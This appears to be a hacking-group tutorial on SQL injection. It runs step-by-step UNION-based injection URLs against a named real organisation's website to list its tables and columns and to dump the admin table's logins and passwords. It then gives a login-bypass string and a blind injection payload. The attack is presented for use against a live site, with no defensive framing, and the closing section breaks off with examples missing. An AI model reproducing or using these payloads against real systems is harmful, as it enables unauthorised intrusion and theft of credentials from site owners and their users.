How To Use SQL Injection 1
How To Use SQL Injection 1
Thanks to Inxroot & aa_numb from Indishell for this valuable piece of cake.
So lets start.. Hers is the website on which this live testing was done: http://www.depo.org.pk
http://www.depo.org.pk/index.php?a=newsdetail&id=1
depo.org.pk/index.php?a=newsdetail&id='
If it shows error ! Then we can apply sqli on this URL. Now we need to determine numbers of
columns in current table.
Increase numbers un-till u get rid of 'The used SELECT statements have a different number of
columns
+1
+1,2
+1,2,3
+1,2.3,4
+1,2,3,4,5
+1,2,3,4,5,6
+1,2,3,4,5,6,7
+1,2,3,4,5,6,7,8... ! Order to find columns... !
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2,3
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2,3,4
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8
http://www.depo.org.pk/index.php?a=newsdetail&id=-
1+union+select+1,database(),version(),4,5,6,7,8
database:- depo
version:- 5.0.45-log
------------------------------------------------
user()
database()
version()
current_user()
load_file()
hex()
unhex()
char()
concat()
group_concat()
------------------------------------------------
NOTE: SQL stores each column and table information in another table called as
'information_schema'
http://www.depo.org.pk/index.php?a=newsdetail&id=-
1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables
+where+table_
schema=database()
http://www.depo.org.pk/index.php?a=newsdetail&id=-
1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from
+information_schema.tables+where+table_schema=database()
Table names
admin,feedback,ideas,inquiry,members_detail_page,
members_detail_page_pictures,news,newsletter,
org_prod_categories,organizations,orginquiry,pages,
product_categories,products,products_pictures,profile
http://www.depo.org.pk/index.php?a=newsdetail&id=-
1+union+select+1,group_concat(column_name),3,4,5,6,7,8
+from+information_schema.columns+where+table_schema=database()
Column names
id,login,password,id,name,
company,email,country,learnsite,
visits,content,graphics,loading,organization,
comments,date,id,fname,lname,nic,occupation,
designation,organization,address,
country,city,state,zip,phone,fax,email,website,
date,id,country,agency,telephone,fax,email,website,
demand,company,address,date,id,heading_one,
text_one,heading_two
http://www.depo.org.pk/index.php?a=newsdetail&id=-1+union+select+1,group_concat
%28login,0x3a,password%29,3,4,5,6,7,8
+from+admin
If a web page accepts text entry (for example a user name and password) then try entering
a string that contains one single quote.
A vulnerable site may behave oddly given this input. You may see an error message such
as that shown
n:
By-Pass authentication using SQL Injection
Take a guess
Before hacking the system, try to guess a user name and password. Unless you are very
lucky you will not get into the system.To know more about PASSWORD GUESSING,
CLICK HERE
Force an Error
If you enter a string with a single quote in it such as O'Brien for either user name or
password you will get a Software Error as the SQL is invalid and cannot be parsed.
Force Entry
If you enter the string ' OR ''=' as both user name and password you can ensure that the
WHERE clause always returns true. Without knowing any user names or passwords you
can by-pass the log in screen. In this example you get the user name of the first person in
the table.
SELECT name from users WHERE name='' OR ''='' AND password='' OR ''=''
Find Table Names using SQL Injection.
In which we discover the names of the tables available for viewing. The function DATABASE()
will give you that value. When you know the name of the database being used you can take
guesses at the names of the tables.
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
You can only ask yes/no questions, but you can find out just about anything you want to with a
little patience.
You use xx for the user name and enter the following as password:
Find the below example, You can find other users on the system. We choose to get mandeep's
password in the below string.
Find a password. How to discover the password for a user if you know the name of the
password table and a user account.
You can now get the system to answer questions about the password table. It will only ever
answer yes (and let you in) or no (by refusing entry). Your questions must take the form of a
valid SQL query. In each case use a xx for the user name and the text shown as password. You
can ask questions such as:
This works because the LIKE command uses % and _ as wildcards. The % wildcard matches any
string, the _ wildcard matches a single character.